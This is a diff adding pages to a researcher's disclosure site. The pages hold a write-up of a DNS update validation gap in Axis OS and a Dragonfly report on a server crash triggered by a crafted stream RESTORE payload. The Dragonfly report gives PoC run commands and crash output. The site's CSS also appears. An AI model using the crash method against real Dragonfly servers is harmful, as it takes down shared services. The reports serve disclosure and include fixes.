| + | </code></pre> | |
| + | <hr /> | |
| + | <h2>Impact</h2> | |
| + | <ul> | |
| + | <li><strong>Inconsistent input validation</strong>: The <code>dnsupdate_validate</code> function was built to prevent this exact class of injection but is applied only on the add path, not the delete path</li> | |
| + | <li><strong>nsupdate command manipulation</strong>: Unvalidated spaces alter DNS record types and targets in the generated nsupdate command file</li> | |
| + | <li><strong>Potential DNS record injection</strong>: If newlines can be delivered, arbitrary DNS records can be created on the camera’s configured DNS server, affecting all clients relying on that server</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>CVSS</h2> | |
| + | <p><strong>Score:</strong> 4.7 (Medium) | |
| + | <strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L</p> | |
| + | <ul> | |
| + | <li>Privileges Required High: admin auth needed for dnsupdate.cgi</li> | |
| + | <li>Integrity Low: DNS command structure manipulation confirmed; full record injection pending live newline delivery verification</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>Remediation</h2> | |
| + | <p><strong>Immediate fix</strong> (one line):</p> | |
| + | <pre><code class="language-diff"> delete) | |
| + | if [ $# -lt 2 ] || [ $# -gt 3 ]; then | |
| + | echo "Usage: $0 delete NAME [IP]" >&2 | |
| + | exit 1 | |
| + | fi | |
| + | ||
| + | shift 1 | |
| + | + dnsupdate_validate "$1" "" "all" || exit 1 | |
| + | dnsupdate_delete "$@" || exit 1 | |
| + | ;; | |
| + | </code></pre> | |
| + | <p><strong>Defense in depth:</strong> | |
| + | 1. Quote <code>$1</code> in the heredoc: <code>update delete "$1" 0 IN A</code> | |
| + | 2. URL-decode input in <code>dnsupdate.cgi</code> before passing to the script</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/axis-os/dnsupdate-delete-validation-gap.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,325 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Authenticated DoS: Dragonfly Server Crash via Crafted Stream RESTORE Payload | Zion Boggan</title> | |
| + | <meta name="description" content="Unbounded allocation in Dragonfly&#x27;s stream RESTORE path."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/dragonfly-stream-restore-oom/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Authenticated DoS: Dragonfly Server Crash via Crafted Stream RESTORE Payload | Zion Boggan"> | |
| + | <meta property="og:description" content="Unbounded allocation in Dragonfly&#x27;s stream RESTORE path."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/dragonfly-stream-restore-oom/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Authenticated DoS: Dragonfly Server Crash via Crafted Stream RESTORE Payload | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Unbounded allocation in Dragonfly&#x27;s stream RESTORE path."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Authenticated DoS: Dragonfly Server Crash via Crafted Stream RESTORE Payload","description":"Unbounded allocation in Dragonfly&#x27;s stream RESTORE path.","url":"https://zionboggan.com/security-research-notebook/dragonfly-stream-restore-oom/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">DoS / OOM</div> | |
| + | <h1>Authenticated DoS: Dragonfly Server Crash via Crafted Stream RESTORE Payload</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Summary</h2> | |
| + | <p>A vulnerability in Dragonfly’s RDB deserialization allows an authenticated user to crash the server process by sending a single <code>RESTORE</code> command with a crafted stream payload. The vulnerability is caused by unbounded memory allocation in the stream consumer group deserialization path (<code>ReadStreams()</code> in <code>rdb_load.cc</code>), where attacker-controlled length values from the serialized payload are used directly in <code>std::vector::resize()</code> without any upper bound validation.</p> | |
| + | <h2>Severity</h2> | |
| + | <p><strong>P2, Server Availability</strong> (CVSS 7.5: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)</p> | |
| + | <p>This is a denial-of-service vulnerability that crashes the entire Dragonfly server process, affecting all connected clients and all databases on the instance. On Aiven managed Dragonfly, every authenticated database user can trigger this.</p> | |
| + | <h2>Vulnerability Details</h2> | |
| + | <h3>Root Cause</h3> | |
| + | <p>In <code>src/server/rdb_load.cc</code>, the <code>ReadStreams()</code> function deserializes stream data from RDB payloads (including <code>RESTORE</code> command input). Several length values are read from the attacker-controlled payload and used directly in memory allocation without upper bound checks:</p> | |
| + | <p><strong>Location 1, Consumer group count (most direct)</strong>:</p> | |
| + | <pre><code class="language-cpp">// rdb_load.cc, ReadStreams() | |
| + | uint64_t cgroups_count; | |
| + | SET_OR_UNEXPECT(LoadLen(nullptr), cgroups_count); | |
| + | load_trace->stream_trace->cgroup.resize(cgroups_count); // NO UPPER BOUND | |
| + | </code></pre> | |
| + | <p><strong>Location 2, PEL (Pending Entry List) size per group</strong>:</p> | |
| + | <pre><code class="language-cpp">uint64_t pel_size; | |
| + | SET_OR_UNEXPECT(LoadLen(nullptr), pel_size); | |
| + | cgroup.pel_arr.resize(pel_size); // NO UPPER BOUND | |
| + | </code></pre> | |
| + | <p><strong>Location 3, Consumer count per group</strong>:</p> | |
| + | <pre><code class="language-cpp">uint64_t consumers_num; | |
| + | SET_OR_UNEXPECT(LoadLen(nullptr), consumers_num); | |
| + | cgroup.cons_arr.resize(consumers_num); // NO UPPER BOUND | |
| + | </code></pre> | |
| + | <p><strong>Location 4, Per-consumer NACK array</strong>:</p> | |
| + | <pre><code class="language-cpp">SET_OR_UNEXPECT(LoadLen(nullptr), pel_size); | |
| + | consumer.nack_arr.resize(pel_size); // NO UPPER BOUND | |
| + | </code></pre> | |
| + | <h3>Attack Path</h3> | |
| + | <ol> | |
| + | <li>Attacker authenticates to the Dragonfly instance (standard database credentials)</li> | |
| + | <li>Attacker sends: <code>RESTORE key 0 <crafted_payload> REPLACE</code></li> | |
| + | <li>The payload encodes <code>RDB_TYPE_STREAM_LISTPACKS_3</code> (type 21) with:, 1 valid stream node (passes initial validation), Valid stream metadata, Consumer groups count set to 1,073,741,824 (1 billion)</li> | |
| + | <li><code>ReadStreams()</code> calls <code>cgroup.resize(1073741824)</code></li> | |
| + | <li>Each <code>StreamCGTrace</code> is ~100 bytes → attempts to allocate ~100GB</li> | |
| + | <li><code>std::vector::resize()</code> throws <code>std::bad_alloc</code></li> | |
| + | <li>Exception is uncaught in the RESTORE command path → <code>std::terminate()</code> → process crash</li> | |
| + | </ol> | |
| + | <h3>Crash Mechanism</h3> | |
| + | <p>The <code>RESTORE</code> command path (<code>GenericFamily::Restore()</code> → <code>OpRestore()</code> → <code>RdbRestoreValue::Add()</code> → <code>Parse()</code> → <code>ReadObj()</code> → <code>ReadStreams()</code>) does not wrap the deserialization in a try-catch block. When <code>std::bad_alloc</code> is thrown by the vector allocation, it propagates through the entire call chain and terminates the process.</p> | |
| + | <h2>Proof of Concept</h2> | |
| + | <h3>Environment</h3> | |
| + | <ul> | |
| + | <li>Dragonfly v1.37.2 (<code>docker.dragonflydb.io/dragonflydb/dragonfly:latest</code>)</li> | |
| + | <li>Docker container on Linux host</li> | |
| + | </ul> | |
| + | <h3>Steps to Reproduce</h3> | |
| + | <ol> | |
| + | <li>Start Dragonfly:</li> | |
| + | </ol> | |
| + | <pre><code class="language-bash">docker run -d --name dragonfly-test -p 6379:6379 \ | |
| + | docker.dragonflydb.io/dragonflydb/dragonfly:latest | |
| + | </code></pre> | |
| + | <ol start="2"> | |
| + | <li>Run the PoC script:</li> | |
| + | </ol> | |
| + | <pre><code class="language-bash">python3 poc_stream_oom.py --host 127.0.0.1 --port 6379 | |
| + | </code></pre> | |
| + | <ol start="3"> | |
| + | <li>Observe: the Dragonfly process crashes and is no longer reachable.</li> | |
| + | </ol> | |
| + | <h3>PoC Script Output</h3> | |
| + | <pre><code>[*] Building crafted stream RESTORE payload... | |
| + | [*] Consumer group count: 1,073,741,824 (0x40000000) | |
| + | [*] Payload size: 87 bytes | |
| + | [+] Connected to server: df-v1.37.2 | |
| + | ||
| + | [!] Sending crafted RESTORE command... | |
| + | [!] Key: __poc_crash_key__ | |
| + | [!] Expected result: server process crash (std::bad_alloc → terminate) | |
| + | [?] Unexpected error: TimeoutError: Timeout reading from socket | |
| + | ||
| + | [*] Checking if server is still alive... | |
| + | [+] Server is NOT responding - crash confirmed! | |
| + | </code></pre> | |
| + | <h3>Impact Demonstration</h3> | |
| + | <p>In our testing, the crafted payload with <code>cgroups_count = 4,294,967,296</code> (4 billion) not only crashed the Dragonfly process but triggered the Linux OOM killer, taking down the entire host system including SSH access. The host required several minutes to recover.</p> | |
| + | <p><strong>On Aiven’s managed infrastructure</strong>, this means a single authenticated database user could: | |
| + | 1. Crash their Dragonfly instance (immediate service disruption) | |
| + | 2. Potentially trigger OOM on shared infrastructure (affecting other tenants) | |
| + | 3. Repeat the attack on service restart for sustained DoS</p> | |
| + | <h2>Affected Code</h2> | |
| + | <ul> | |
| + | <li><strong>File</strong>: <code>src/server/rdb_load.cc</code></li> | |
| + | <li><strong>Function</strong>: <code>RdbLoaderBase::ReadStreams()</code></li> | |
| + | <li><strong>Lines</strong>: Consumer group resize (~line 1690), PEL resize (~line 1710), consumer resize (~line 1720), NACK resize (~line 1740)</li> | |
| + | <li><strong>Version</strong>: Confirmed on v1.37.2, likely affects all versions with stream support</li> | |
| + | </ul> | |
| + | <h2>Suggested Fix</h2> | |
| + | <p>Add upper bound validation for all attacker-controlled length values before allocation:</p> | |
| + | <pre><code class="language-cpp">// Before resize operations in ReadStreams: | |
| + | constexpr uint64_t kMaxCGroups = 1 << 20; // 1M consumer groups | |
| + | constexpr uint64_t kMaxPelSize = 1 << 24; // 16M PEL entries | |
| + | constexpr uint64_t kMaxConsumers = 1 << 20; // 1M consumers | |
| + | ||
| + | if (cgroups_count > kMaxCGroups) { | |
| + | LOG(ERROR) << "Stream consumer group count too large: " << cgroups_count; | |
| + | return Unexpected(errc::rdb_file_corrupted); | |
| + | } | |
| + | load_trace->stream_trace->cgroup.resize(cgroups_count); | |
| + | </code></pre> | |
| + | <p>Additionally, consider wrapping the <code>RdbRestoreValue::Add()</code> path in a try-catch for <code>std::bad_alloc</code> to prevent any remaining unbounded allocation from crashing the process.</p> | |
| + | <h2>References</h2> | |
| + | <ul> | |
| + | <li>Dragonfly source: https://github.com/dragonflydb/dragonfly</li> | |
| + | <li>Similar class: CVE-2023-41056 (Redis RESTORE heap overflow), CVE-2023-41053 (Redis listpack integer overflow)</li> | |
| + | <li>RDB format specification: https://rdb.fnordig.de/file_format.html</li> | |
| + | </ul> | |
| + | <h2>Proof of concept</h2> | |
| + | <ul> | |
| + | <li><a href="poc/dragonfly-stream-oom.py"><code>poc/dragonfly-stream-oom.py</code></a>, Stream RESTORE OOM crash.</li> | |
| + | <li><a href="poc/dragonfly-cms-oom.py"><code>poc/dragonfly-cms-oom.py</code></a>, Count-Min-Sketch RESTORE OOM (related family).</li> | |
| + | </ul> | |
| + | <pre><code class="language-bash">python3 poc/dragonfly-stream-oom.py <host> <port> <password> | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/dragonfly-stream-restore-oom.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,289 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Email Enumeration Timing | Zion Boggan</title> | |
| + | <meta name="description" content="`/v1/userauth` timing differential distinguishes registered vs unregistered emails."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
